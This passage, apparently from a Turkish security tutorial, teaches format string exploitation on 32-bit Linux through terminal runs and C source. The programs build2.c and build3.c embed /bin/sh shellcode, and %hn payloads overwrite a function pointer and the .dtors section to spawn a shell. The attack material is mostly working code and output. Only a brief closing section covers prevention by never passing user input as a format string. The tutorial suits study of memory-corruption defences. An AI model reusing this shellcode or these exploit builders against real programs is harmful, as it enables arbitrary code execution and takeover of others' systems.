after : ptrf() = 0x8048644 (0xbffff5d4)
Welcome in "helloWorld"

Değer herzaman aynı : 3. Programı olanları göstermesi için yazdığımıza göre ptrf ve accesForbidden() için gerekli olan bilgilere sahip oluyoruz. Katarımızı buna göre oluşturabiliriz:

>>./vuln `./build 0xbffff5d4 0x8048664 3` 
adr : -1073744428 (bffff5d4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[Öõÿ¿Ôõÿ¿%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [Öõÿ¿Ôõÿ¿00000000000000000000d000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000
00000000] (127)
after : ptrf() = 0x8048644 (0xbffff5b4)
Welcome in "helloWorld"

Hiç birşey olmadı! Ancak, önceki örneğimize göre daha uzun katar kullandığımızdan dolayı yığıt değişti (ptrf, 0xbffff5d4 den 0xbffff5b4 gitti). Dolayısıyla değerleri ayarlamamız gerekmektedir:
>>./vuln `./build 0xbffff5b4 0x8048664 3`
adr : -1073744460 (bffff5b4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[¶õÿ¿´õÿ¿%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [¶õÿ¿´õÿ¿0000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x8048664 (0xbffff5b4)
You shouldn't be here "accesForbidden"

Biz kazandık!!!

Diğer kullanım şekilleri

Bu makalenin başında biçimlendirme katarlarında yapılan hataların gerçek tehlike yarattıklarını gördük. Başka önemli olan bir konu da bunların nasıl kullanılacağıdır. Katar taşmaları, fonksiyonun dönüş değeri değiştirilerek kullanılmaktadır. Ondan sonra, betiğnizin doğru değerleri bulması için denemeler (genelde rastgele yapılır) yapmanız ve bol bol dua etmeniz gerekecektir. Biçimlendirme katarları kullanırsanın bütün bunlara gerek kalmamaktadır ve artık fonksiyonun dönüş değerini değiştirmek gibi bir kısıtlamanız da kalmamaktadır.

Biçimlendirme hataları sayesinde istediğimiz yere yazmamızın mümkün olduğun görmüştük. Şimdi, .dtors bölümü ile ilgili bir kullanım göreceğiz.

gcc ile derlenen programlarda .ctors adında bir yaratma ve bir de .dtors adında yoketme bölümü yaratılmaktadır. Her iki bölümde de sırasıyla main() fonksiyonuna girişte ve çıkışta çalıştırılacak fonksiyonlar için işaretçiler bulunmaktadır.

/* cdtors */

void start(void) __attribute__ ((constructor));
void end(void) __attribute__ ((destructor));

int main() {
  printf("in main()\n");
}

void start(void) {
  printf("in start()\n");
}

void end(void) {
  printf("in end()\n");
}
Basit bir örnek programla işleyişin nasıl olduğunu görebilmekteyiz:
>>gcc cdtors.c -o cdtors
>>./cdtors
in start()
in main()
in end()
Bu iki bölümün herbiri aynı şekilde oluşturulmuştur:
>>objdump -s -j .ctors cdtors

cdtors:     file format elf32-i386

.ctors bölümünün içeriği:
 804949c ffffffff dc830408 00000000           ............    
>>objdump -s -j .dtors cdtors

cdtors:     file format elf32-i386

.dtors bölümünün içeriği:
 80494a8 ffffffff f0830408 00000000           ............    
Gösterilen adreslerin bizim fonksiyonların adreslerine karşılık geldiğini kontrol ettik (dikkat : objdump komutu adres değerlerini küçük indian formatında vermektedir):
>>objdump -t cdtors | egrep "start|end"
080483dc g     F .text  00000012              start
080483f0 g     F .text  00000012              end
Dolayısıyla, bu bölümler 0xffffffff ve 0x00000000 ile sınırlandırılan bölgede başta veya sonunda çalıştırılacak fonksiyonların adreslerini içermektedir.

Şimdi bunu vuln programı üzerine bir uygulayalım. İlk önce bu bölümlerin bellekteki yerlerini bulmamız gerekecektir. İkili (binary) program elinizde olduğunda bunu yapmak gerçekten çok kolay ;-) Daha önce de olduğu gibi sadece objdump kullanın:

>> objdump -s -j .dtors vuln

vuln:     file format elf32-i386

.dtors bölümünün içeriği:
 8049844 ffffffff 00000000                    ........        
İşte burada ! Şimdi gereksinim duyduğumuz herşeye sahibiz.

Bu kullanımının amacı, iki bölümden birinde bulunan adres değerini çalıştırmak istediğimiz fonksiyonun adresi ile değiştirmektedir. Eğer, bu bçlümler boş ise, o zaman bölümün sonunu belirten 0x00000000 değerini değiştirmemiz yeterli olacaktır. Program, 0x00000000 değerini bulamayacağı için bir sonraki adres değerini alacaktır, ki bu büyük bir olasılıkla yanlış olacaktır ve segmentation fault (bölümlendirme hatası) almamızı sağlayacaktır.

Gerçekte, tek ilginç olan bölüm yoketme (.dtors) bölümüdür. Çünkü yaratma (.ctors) fonkisyonundan önce bir şey çalıştıracak zamanımız yoktur. Genelde, başlangıç (0xffffffff) adresinden 4 byte sonra bulunan adresi değiştirmek yeterli olacaktır:

Örneğimize geri dönelim ve .dtors bölümündeki 0x8049848=0x8049844+4 adresinde bulunan 0x00000000 değeri, adresi 0x8048664 olan accesForbidden() fonksiyonunun adresi ile değiştirelim:

>./vuln `./build 0x8049848 0x8048664 3`
adr : 134518856 (8049848)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[JH%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = bffff694 (0xbffff51c)
helloWorld() = 0x8048648
accessForbidden() = 0x8048664

before : ptrf() = 0x8048648 (0xbffff434)
buffer = [JH0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000] (127)
after : ptrf() = 0x8048648 (0xbffff434)
Welcome in "helloWorld"
You shouldn't be here "accesForbidden"
Segmentation fault (core dumped)

Herşey düzgün çalışmaktadır, main(), helloWorld() ve sonra da çıkış. Daha sonra yoketme fonksiyonu çalıştırmaktadır. .dtors bölümü accesForbidden() fonksiyonun adresi ile başlamaktadır. Ondan sonra herhangi bir gerçek adres değeri bulunmadığında coredump olayı gerçekleşmektedir.

Lütfen bana kabuk ver

Burada basit kullanımlar gördük. Aynı prensipleri kullanarak, kabuk elde edebiliriz. Bunun için ya kabuğu argv[] parametre olark vererek ya da çevre değişkeni kullanarak gerçekleştirebiliriz. Yapmamız gereken, .dtors bölümüne uygun adres değerini yerleştirmektir.

Şu anda bildiklerimiz:

Gerçekte programlar, örneğimizde olduğu gibi gözel (adres değerlerini belirten) değildir. Bunun için, belleğe bir kabuk koymayı ve daha sonra onun gerçek adresini veren bir yöntem tanıtacağız.

Buradaki fikir exec*() fonksiyonunun özyenilemeli olarak çalıştırmaya dayanmaktadır:

/* argv.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


main(int argc, char **argv) {

  char **env;
  char **arg;
  int nb = atoi(argv[1]), i;

  env    = (char **) malloc(sizeof(char *));
  env[0] = 0;
  
  arg    = (char **) malloc(sizeof(char *) * nb);
  arg[0] = argv[0];
  arg[1] = (char *) malloc(5);
  snprintf(arg[1], 5, "%d", nb-1);
  arg[2] = 0;

  /* printings */
  printf("*** argv %d ***\n", nb);
  printf("argv = %p\n", argv);
  printf("arg = %p\n", arg);
  for (i = 0; i<argc; i++) {
    printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]);
    printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]);
  }
  printf("\n");

  /* recall */
  if (nb == 0) 
    exit(0);
  execve(argv[0], arg, env);
}
Kendini özyenilemeli olarak nb+1 defa çalıştıracak giriş değeri nb tamsayısıdır :
>>./argv 2
*** argv 2 ***
argv = 0xbffff6b4
arg = 0x8049828
argv[0] = 0xbffff80b (0xbffff6b4)
arg[0] = 0xbffff80b (0x8049828)
argv[1] = 0xbffff812 (0xbffff6b8)
arg[1] = 0x8049838 (0x804982c)

*** argv 1 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

*** argv 0 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

arg ve argv'nin adres değerlerinin ilk çalıştırmadan sonra değişmediğini hemen fark etmekteyiz. Bu özelliği daha sonra kullanacağız. build programımızı vuln programını çalıştırmadan önce kendi kendini çalıştıracak şekilde değiştiriyoruz. Böylece, argv'nin tam adresini ve kabuğun adresini elde etmekteyiz:

/* build2.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //build.c'deki aynı fonksiyon
}

int
main(int argc, char **argv) {
  
  char *buf;
  char shellcode[] =
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
     "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if(argc < 3)
    return EXIT_FAILURE;

  if (argc == 3) {

    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* adres */
        &shellcode,
        atoi(argv[2]));              /* uzaklık */
    
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL);

  } else {

    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", argv[2]);
    buf = build(strtoul(argv[3], NULL, 16),  /* adres */
        argv[2],
        atoi(argv[4]));              /* uzaklık */
    
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));

    execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL);
  }

  return EXIT_SUCCESS;
}

Buradaki püf nokta, programa verilen parametre sayısına göre ne çalıştıracağımızı bilmemizdedir. Başlamak için yapmamız gereken değiştireceğimiz adres değeri ile uzaklık bilgilerini build2 programına vermektir. Ardışık çalıştırmalar sonucunda gerekli değeri program kendisi hesaplayacağından, artık bu değeri vermemiz gerekmiyor.

Başarmak için build2 ve vuln programlarının ardışık çalıştırmaları sırasındaki bellek yapısını olduğu gibi korumamız gerekmektedir (bu nedenledir ki aynı bellek yapısını kullansın diye build() fonksiyon olarak kullanıyoruz):

>>./build2 0xbffff634 3
Calling ./build2 ...
adr : -1073744332 (bffff634)
val : -1073744172 (bffff6d4)
valh: 49151 (bfff)
vall: 63188 (f6d4)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14037x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff88f
adr : -1073744332 (bffff634)
val : -1073743729 (bffff88f)
valh: 49151 (bfff)
vall: 63631 (f88f)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14480x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6öÿ¿4öÿ¿000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000
00000000000] (127)
after : ptrf() = 0xbffff88f (0xbffff634)
Segmentation fault (core dumped)

Neden çalışmadı? İki çalıştırma sırasında aynı bellek yapısını kullanmamız gerekmektedir demiştik, ancak bunu uygulamadık! argv[0] (programın adı) değişti. İlk önce programın adı build2 (6 byte) idi ve daha sonra vuln oldu (4 byte). Aradaki vark 2 byte'dır, bu yukarıdaki örnekte de fark edebileceğiniz değerdir. build2 ikinci defa çağırılması sırasında kabuğun adresi sc=0xbffff88f dir, ancak, vuln deki argv[2] değeri 20xbffff891, yani bizim 2 byte. Bunu çözmek için programın adını build2 den 4 karakterden oluşan bui2 olarak değiştirmek yeterli olacaktır:

>>cp build2 bui2
>>./bui2 0xbffff634 3
Calling ./bui2 ...
adr : -1073744332 (bffff634)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff891
adr : -1073744332 (bffff634)
val : -1073743727 (bffff891)
valh: 49151 (bfff)
vall: 63633 (f891)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14482x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6öÿ¿4öÿ¿0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
000000000000000] (127)
after : ptrf() = 0xbffff891 (0xbffff634)
bash$ 

Yine kazandık : bu şekilde daha iyi çalışmaktadır ;-) ptrf'nin gösterdiği adres değerini kabuğun adresini gösterecek şekilde değiştirdik. Tabii ki bu ancak yığıt çalıştırılabilir ise yapmak mümkün olmaktadır.

Biçimlendirme katarları her yere yazabileceğimizi sağlamaktadır, o zaman .dtors bölümüne yoketme fonksiyonu ekleyelim :

>>objdump -s -j .dtors vuln

vuln:     file format elf32-i386

Contents of section .dtors:
80498c0 ffffffff 00000000                    ........        
>>./bui2 80498c4 3
Calling ./bui2 ...
adr : 134518980 (80498c4)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[ÆÄ%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff894
adr : 134518980 (80498c4)
val : -1073743724 (bffff894)
valh: 49151 (bfff)
vall: 63636 (f894)
[ÆÄ%.49143x%3$hn%.14485x%4$hn] (34)
0 0xbffff86a
1 0xbffff871
2 0xbffff894
3 0xbffff8c2
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [ÆÄ000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x80486c4 (0xbffff634)
Welcome in "helloWorld"
bash$ exit
exit
>>

Yoketme bölümüne kendi çıkış fonksiyonumuzu koyduğumuz için coredump oluşmadı. Bunun nedeni bizim kabuk programında exit(0) fonksiyonunu çağıran kısmın olmasıdır.

En sonunda, çevre değişkeni aracılıyla kabuk elde etmemizi sağlayan build3.c programını hediye olarak veriyoruz:

/* build3.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //build.c'deki aynı fonksiyon
}

int main(int argc, char **argv) {
  char **env;
  char **arg;
  unsigned char *buf;
  unsigned char shellcode[] =
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
       "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if (argc == 3) {

    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
        &shellcode,
        atoi(argv[2]));              /* offset */
    
    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    env = (char **) malloc(sizeof(char *) * 4);
    env[0]=&shellcode;
    env[1]=argv[1];
    env[2]=argv[2];
    env[3]=NULL;
    execve(argv[0],arg,env);
  } else 
  if(argc==2) {

    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", environ[0]);
    buf = build(strtoul(environ[1], NULL, 16),  /* adresse */
        environ[0],
        atoi(environ[2]));              /* offset */
    
    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    execve("./vuln",arg,environ);
  }
    
  return 0;
}

Tekrar söylemek gerekirse, ortam yığıt üzerinde olduğundan bellek yapısını değiştirmememiz çok önemlidir (değişkenlerin ve programa verilen parametrelerin yerlerinin değiştirilmesi gibi). İkili (derlenmiş) programın adı, vuln ile aynı byte sayısına sahip olması gerekmektedir.

Değerleri atamak için extern char **environ envrensel değişkenler kullanmayı kararlaştırdık :

  1. environ[0]: kabuk adresini içermekte;
  2. environ[1]: değiştireceğimiz adres değerini içermektedir;
  3. environ[2]: uzaklık değerini içermektedir.
Sizi bırakıyoruz, bu oldukça uzun olan makalede birçok kaynak program vardır, denemeler yapıp, programlar ile oynayabilirsiniz.

Sonuç : biçimlendirme hatalarından nasıl kaçınabiliriz ?

Makalede de gösterildiği gibi, hataların kaynağı, biçimlendirme katarları oluşturulsun diye kullanıcılara serbestlik tanınmasından dolayı kaynaklanmaktadır. Bunun çözümü çok basit : hiçbir zaman kullanıcıya kendi biçimlendirme katarını oluşturma fırsatı vermeyin! Bu genelde, printf(), syslog(), gibi fonksiyoniları çağırırken "%s" gibi biçimlendirme katarlarının yazılması demektir. Eğer, mutlaka kullanmak gerekirse, o zaman kullanıcının girmiş olduğu değerleri çok iyi denetlemek gerekecektir.

Bilgi

Yazarlar, sabrından (programımızda kabuk elde edemememizin nedeninin yığıtın çalıştırılabilir olmamasından kaynaklandığını bulması gerekti), verdiği fikirlerden (exec*() ile ilgili püf noktadan), bizi yüreklendirmesinden ve biçimlendirme katarları ve onların kullanımı ile ilgi yazmış olduğu makaleden dolayı Pascal Kalou Bouchareine'e teşekkür eder.

Bağlantılar


Altyazı

... komutlara 1
buradaki komutlara kelimesi, katar biçimlendirmesini etkileyen herşey anlamındadır, genişlik, duyarlılık ...
... byte2
-1, '\0' karakteri için yer ayrıldığından dolayı gelmektedir.